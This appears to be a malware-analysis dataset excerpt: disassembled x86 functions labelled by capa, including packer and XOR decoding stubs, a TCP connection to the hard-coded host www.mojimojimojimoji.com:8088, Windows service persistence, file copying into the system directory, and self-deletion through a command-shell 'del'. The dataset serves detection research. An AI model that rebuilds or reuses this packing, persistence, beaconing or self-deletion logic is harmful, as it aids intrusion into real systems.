joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x7b054eae
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x456d1137
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x45da90
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x38000]
push edi
or ebp, 0xffffffff
jmp 0x45dab2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x45dab9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45daa8
mov eax, 1
add ebx, ebx
jne 0x45dacb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x45dac0
jne 0x45dadc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45dac0
xor ecx, ecx
sub eax, 3
jb 0x45daf0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x45db62
mov ebp, eax
add ebx, ebx
jne 0x45dafb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x45db08
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x45db2c
inc ecx
add ebx, ebx
jne 0x45db18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x45db0d
jne 0x45db29
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45db0d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x45db4c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x45db3d
jmp 0x45daae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x45db4c
add edi, ecx
jmp 0x45daae
pop esi
lea edi, [esi + 0x5b000]
mov eax, dword [edi]
or eax, eax
je 0x45dbab
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5d22c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5d2d4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x45db69
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5d2dc]
or eax, eax
je 0x45dba5
mov dword [ebx], eax
add ebx, 4
jmp 0x45db86
call dword [esi + 0x5d2d8]
mov ebp, dword [esi + 0x5d2e0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x45dbdf
sub esp, 0xffffff80
jmp 0x401710
Function at 0x1026e770
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x70
lea eax, [esp]
push esi
mov esi, dword [esp + 0x78]
push 0x10
push 0
push eax
mov word [esi], 0
call fcn.1024c620
lea ecx, [esp + 0x14]
push 0x10
push ecx
call fcn.1026e1a0
lea edx, [esp + 0x34]
push 0x10
push edx
call fcn.1026e1f0
lea eax, [esp + 0x24]
push 0x10
push eax
call fcn.1026e240
lea ecx, [esp + 0x44]
push 0x10
push ecx
call fcn.1026e3a0
lea edx, [esp + 0x54]
push 0x10
push edx
call fcn.1026e430
lea eax, [esp + 0x64]
push 0x10
push eax
call fcn.1026e3f0
lea ecx, [esp + 0x14]
lea edx, [esp + 4]
push ecx
push 0x10
push edx
lea eax, [esp + 0x30]
push 0x1023fb54
lea ecx, [esp + 0x44]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x1026e85e
lea edx, [esp + 0x44]
lea eax, [esp + 4]
push edx
push eax
call fcn.1024c4b0
test al, al
je 0x1026e81f
xor eax, eax
mov word [esi], 2
cmp word [esi], ax
pop esi
setne al
add esp, 0x70
ret 4
lea ecx, [esp + 0x54]
lea edx, [esp + 4]
push esp
and al, 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401030
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x408614]
push ebp
mov ebp, dword [esp + 8]
push esi
xor esi, esi
push edi
mov edi, dword [ebp + 0x88]
test eax, eax
je 0x401194
mov dword [0x408614], esi
mov eax, dword [ebp + 0x8c]
dec eax
cmp eax, 0x20
ja case.0x40106a.16
xor ecx, ecx
mov cl, byte [eax + 0x4011d8]
jmp dword [ecx*4 + 0x401198]
mov esi, 0x4033a0
jmp case.0x40106a.16
mov esi, 0x4034d0
jmp case.0x40106a.16
mov esi, 0x403600
jmp case.0x40106a.16
mov esi, 0x403280
jmp case.0x40106a.16
mov esi, 0x403660
jmp case.0x40106a.16
mov esi, 0x4036f0
jmp case.0x40106a.16
cmp dword [0x4084f4], 1
jne case.0x40106a.2
mov esi, 0x403f90
jmp case.0x40106a.16
mov esi, 0x403170
jmp case.0x40106a.16
mov eax, dword [0x4084f4]
mov esi, 0x404620
cmp eax, 1
je 0x401160
mov esi, 0x403170
jmp 0x401160
mov eax, dword [0x4084f4]
mov esi, 0x404b10
cmp eax, 1
je 0x401160
mov esi, 0x403170
jmp 0x401160
mov eax, dword [0x4084f4]
mov esi, 0x4043b0
cmp eax, 1
je 0x401160
mov esi, 0x403170
jmp 0x401160
mov eax, dword [0x4084f4]
mov esi, 0x403f90
cmp eax, 1
je 0x401160
jmp 0x40115b
mov eax, dword [0x4084f4]
mov esi, 0x404620
cmp eax, 1
je 0x401160
jmp 0x40115b
mov edx, dword [0x4084f4]
mov esi, 0x4033a0
dec edx
neg edx
sbb edx, edx
and edx, 0xffffffd4
add edx, 0x40
add edi, edx
jmp case.0x40106a.16
mov eax, dword [0x4084f4]
mov esi, 0x4043b0
cmp eax, 1
je 0x401160
mov esi, 0x4033a0
add edi, 0x14
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
test edi, edi
jbe 0x40117d
push 0
push 0
push ebp
push esi
push 0
push 0
call ebx
dec edi
jne 0x40116e
mov eax, dword [ebp + 0x84]
push 0
push 0
push eax
push section..text
push 0
push 0
call ebx
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x401200
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x408614]
push ebp
push esi
push edi
mov edi, dword [esp + 0x10]
xor ebp, ebp
xor esi, esi
mov ecx, dword [edi + 0x108]
test eax, eax
je 0x4012b3
mov dword [0x408614], esi
mov eax, dword [edi + 0x114]
add eax, 0xfffffffb
cmp eax, 3
ja case.default.0x401232
jmp dword [eax*4 + 0x4012b8]
mov esi, dword [edi + 0x10c]
mov ebp, 0x4038e0
dec esi
neg esi
sbb esi, esi
not esi
and esi, 0x403c10
jmp case.default.0x401232
mov ebp, 0x403c10
jmp case.default.0x401232
mov ebp, 0x403a10
jmp case.default.0x401232
mov ebp, 0x403ea0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
test ecx, ecx
jbe 0x40129c
mov dword [esp + 0x14], ecx
test esi, esi
je 0x401285
push 0
push 0
push edi
push esi
push 0
push 0
call ebx
push 0
push 0
push edi
push ebp
push 0
push 0
call ebx
mov eax, dword [esp + 0x14]
dec eax
mov dword [esp + 0x14], eax
jne 0x401275
mov eax, dword [edi + 0x104]
push 0
push 0
push eax
push section..text
push 0
push 0
call ebx
pop ebx
pop edi
pop esi
pop ebp
ret
Function at 0x4012d0
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x408614]
push ebp
push esi
mov esi, dword [esp + 0xc]
xor ebp, ebp
push edi
mov edi, dword [esi + 0x288]
test eax, eax
je 0x401339
mov dword [0x408614], ebp
mov eax, dword [esi + 0x28c]
sub eax, 0x15
je 0x401303
dec eax
jne 0x401308
mov ebp, 0x404f40
jmp 0x401308
mov ebp, 0x404e70
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
test edi, edi
jbe 0x401322
push 0
push 0
push esi
push ebp
push 0
push 0
call ebx
dec edi
jne 0x401313
mov eax, dword [esi + 0x284]
push 0
push 0
push eax
push section..text
push 0
push 0
call ebx
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x401340
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4061d0
push 0x405760
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x9f0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov byte [ebp - 0x868], bl
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x867]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x8ec], bl
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x8eb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], ebx
mov dword [ebp - 0x86c], str.www.mojimojimojimoji.com:8088
push 0x4083b4
push str.www.mojimojimojimoji.com:8088
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x4014a4
mov byte [ebp - 0xa00], bl
mov byte [ebp - 0x980], bl
push 0x3a
push str.www.mojimojimojimoji.com:8088
mov esi, dword [sym.imp.SHLWAPI.dll_StrChrA]
call esi
mov ecx, 1
sub ecx, str.www.mojimojimojimoji.com:8088
add eax, ecx
push eax
push str.www.mojimojimojimoji.com:8088
lea edx, [ebp - 0x868]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x3a
push str.www.mojimojimojimoji.com:8088
call esi
inc eax
mov dword [ebp - 0x86c], eax
push eax
lea eax, [ebp - 0x8ec]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov word [ebp - 0x900], 2
lea ecx, [ebp - 0x8ec]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x8fe], ax
lea edx, [ebp - 0x868]
push edx
call fcn.00403070
add esp, 4
mov dword [ebp - 0x8fc], eax
push ebx
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
mov dword [ebp - 0x8f0], esi
push 0x10
lea eax, [ebp - 0x900]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
or edi, 0xffffffff
cmp eax, edi
jne 0x401485
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x4014a7
mov dword [ebp - 4], edi
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
or edi, 0xffffffff
mov dword [ebp - 4], edi
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4015d0
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
sub esp, 0x104
push esi
push edi
mov edi, dword [esp + 0x118]
xor esi, esi
test edi, edi
jne 0x4015f3
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret
push ebx
mov ebx, dword [esp + 0x114]
push ebp
mov ebp, dword [esp + 0x11c]
mov eax, dword [0x408f78]
push 0
mov dword [esp + 0x18], eax
push 0
lea ecx, [esp + 0x18]
push 0
lea eax, [ebx + 1]
push ecx
push eax
mov dword [esp + 0x24], 1
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x401662
test eax, eax
je 0x401603
lea edx, [esp + 0x10]
push edx
push ebx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x401603
mov eax, edi
push 0
sub eax, esi
lea ecx, [esi + ebp]
push eax
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x401662
cmp eax, 0xffffffff
je 0x401662
add esi, eax
cmp esi, edi
jb 0x401603
xor eax, eax
pop ebp
cmp esi, edi
pop ebx
pop edi
pop esi
sete al
add esp, 0x104
ret

Function at 0x401680
Capabilities:
Delete file

Disassembly:
sub esp, 0x104
lea eax, [esp]
push ebx
push esi
push 0x20
push str.hra_u.dll
push eax
xor ebx, ebx
call dword [0x408dc4]
add esp, 0xc
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA_1]
mov esi, eax
test esi, esi
je 0x4016ff
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress_1]
push str.StartWork
push esi
call edi
push str.StopWork
push esi
mov dword [0x409238], eax
call edi
test eax, eax
mov dword [0x40923c], eax
pop edi
je 0x4016ed
mov eax, dword [0x409238]
test eax, eax
je 0x4016ed
pop esi
mov eax, 1
pop ebx
add esp, 0x104
ret
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, ebx
pop esi
pop ebx
add esp, 0x104
ret

Function at 0x401f20
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0xfe
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
inc dl
test esi, esi
jbe 0x401f4c
mov eax, dword [esp + 8]
mov cl, byte [eax]
sub cl, dl
xor cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x401f40
pop esi
ret
Function at 0x401f50
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
sub esp, 0x360
lea eax, [esp + 0x54]
push ebx
push ebp
push esi
push edi
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4020bd
lea ecx, [esp + 0x64]
push 0x104
lea edx, [esp + 0x68]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x4020bd
lea eax, [esp + 0x26c]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x4020bd
lea ecx, [esp + 0x168]
push str.__c_del
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x64]
lea eax, [esp + 0x168]
push edx
push eax
call esi
lea ecx, [esp + 0x168]
push str.___nul
push ecx
call esi
lea edx, [esp + 0x168]
lea eax, [esp + 0x26c]
push edx
push eax
call esi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [esp + 0x50], bx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
push 0x100
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0xf
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea edx, [esp + 0x10]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push 0
push 0xc
push 0
push 0
lea ecx, [esp + 0x288]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4020af
mov edx, dword [esp + 0x10]
push 0x40
push edx
call esi
mov eax, dword [esp + 0x14]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x360
ret
push 0x20
call ebx
push eax
call esi
push 0
call ebp
push eax
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x360
ret
Function at 0x4021b0
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
sub esp, 0x110
lea eax, [esp + 0xc]
push ebx
push esi
push edi
push str.SYSTEMCurrentControlSetServices_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x18]
push str.Nationalreo
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
lea eax, [esp + 0x18]
push edx
push 0xf003f
push 0
push eax
push getpeername
call dword [0x408d98]
test eax, eax
je 0x402205
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x20]
push str.ImagePath
push eax
call dword [0x408d94]
test eax, eax
je 0x402251
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x408d90]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0x10]
push edx
call dword [0x408d90]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402278
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push 0
push 3
push 0
push 1
lea ecx, [esp + 0x2c]
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4022a5
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov dword [esp + 0xc], eax
jne 0x4022c9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
jne 0x4022eb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 0xc]
push 0
push edx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40231d
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x120]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
jne 0x40234d
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push edx
push ebx
push 0
push 0x66
push 0xa
push esi
call ebp
mov edi, eax
test edi, edi
je 0x402386
push str.Nationalreo
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push str.Nationalreo
push 0
push 0x65
push 0xa
push esi
call ebp
mov edi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
pop ebp
test eax, eax
push ebx
jne 0x4023a7
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x110
ret
Function at 0x402790
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4061e0
push 0x405760
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x370
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x328]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x220]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x4028dc
push 0x1a
call fcn.00403050
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403050
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403050
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403050
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403050
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403050
add esp, 4
add eax, 0x61
push eax
push str._c_c_c_c_c_c.exe
lea ecx, [ebp - 0x380]
push ecx
call dword [0x408dc4]
add esp, 0x20
push 0x4084dc
lea edx, [ebp - 0x220]
push edx
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
call edi
lea eax, [ebp - 0x380]
push eax
lea ecx, [ebp - 0x220]
push ecx
call edi
push esi
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x328]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x328]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [0x409240], 1
mov dword [ebp - 0x224], esi
mov dword [ebp - 0x330], esi
mov dword [ebp - 0x32c], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [0x408d8c]
mov ebx, eax
mov dword [ebp - 0x32c], ebx
test ebx, ebx
je 0x4029e3
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x328]
push eax
push 0
push 2
push 0x110
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edi, dword [ebp + 8]
push edi
push ebx
call dword [0x408db8]
mov esi, eax
mov dword [ebp - 0x330], esi
test esi, esi
jne 0x402979
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x402979
push 0xf01ff
push edi
push ebx
call dword [0x408d88]
mov esi, eax
mov dword [ebp - 0x330], esi
test esi, esi
je 0x4029e3
push 0
push 0
push esi
call dword [0x408db4]
push 0
push 0
push esi
call dword [0x408db4]
test eax, eax
je 0x4029e3
push str.SYSTEMCurrentControlSetServices_
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x11c]
push edx
push getpeername
call dword [0x408db0]
mov edi, dword [ebp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push 1
push 0
push str.Description
mov eax, dword [ebp - 0x224]
push eax
call dword [0x408dac]
mov dword [ebp - 4], 0xffffffff
call fcn.00402a0c
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403070
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x403094
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40308d
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret

Function at 0x403120
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str.Program_FilesInternet_Exploreriexplore.exe
push ecx
mov byte [esp + 0xa], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [esp + 0x108]
lea edx, [esp]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, 1
add esp, 0x104
ret

Function at 0x404aa0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x404abe
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x404aff
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x405000
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x138
push esi
mov esi, dword [esp + 0x140]
push edi
push 2
push 0
push esi
call sub.MSVCRT.dll_fseek
push esi
call sub.MSVCRT.dll_ftell
push 0
push 0
push esi
mov edi, eax
call sub.MSVCRT.dll_fseek
add esp, 0x1c
cmp edi, 0x40
jae 0x40503e
pop edi
xor al, al
pop esi
add esp, 0x138
ret
push esi
push 1
lea eax, [esp + 0x28]
push 0x40
push eax
call sub.MSVCRT.dll_fread
add esp, 0x10
cmp word [esp + 0x20], 0x5a4d
je 0x405064
pop edi
xor al, al
pop esi
add esp, 0x138
ret
mov eax, dword [esp + 0x5c]
lea ecx, [eax + 0x18]
cmp edi, ecx
jae 0x40507a
pop edi
xor al, al
pop esi
add esp, 0x138
ret
push 0
push eax
push esi
call sub.MSVCRT.dll_fseek
push esi
push 1
lea edx, [esp + 0x1c]
push 0x18
push edx
call sub.MSVCRT.dll_fread
add esp, 0x1c
cmp word [esp + 0x1c], 0xe0
je 0x4050a9
pop edi
xor al, al
pop esi
add esp, 0x138
ret
push ebx
push esi
push 1
lea eax, [esp + 0x6c]
push 0xe0
push eax
call sub.MSVCRT.dll_fread
mov eax, dword [esp + 0x22]
and eax, 0xffff
lea ecx, [eax + eax*4]
shl ecx, 3
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
mov eax, dword [esp + 0x26]
and eax, 0xffff
push esi
push 1
lea edx, [eax + eax*4]
shl edx, 3
push edx
push ebx
call sub.MSVCRT.dll_fread
mov edi, dword [esp + 0x170]
mov ecx, 0x10
lea esi, [esp + 0x48]
mov eax, dword [esp + 0x17c]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x174]
mov ecx, 6
lea esi, [esp + 0x30]
add esp, 0x24
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x154]
mov ecx, 0x38
lea esi, [esp + 0x64]
rep movsd dword es:[edi], dword [esi]
mov dword [eax], ebx
pop ebx
pop edi
mov al, 1
pop esi
add esp, 0x138
ret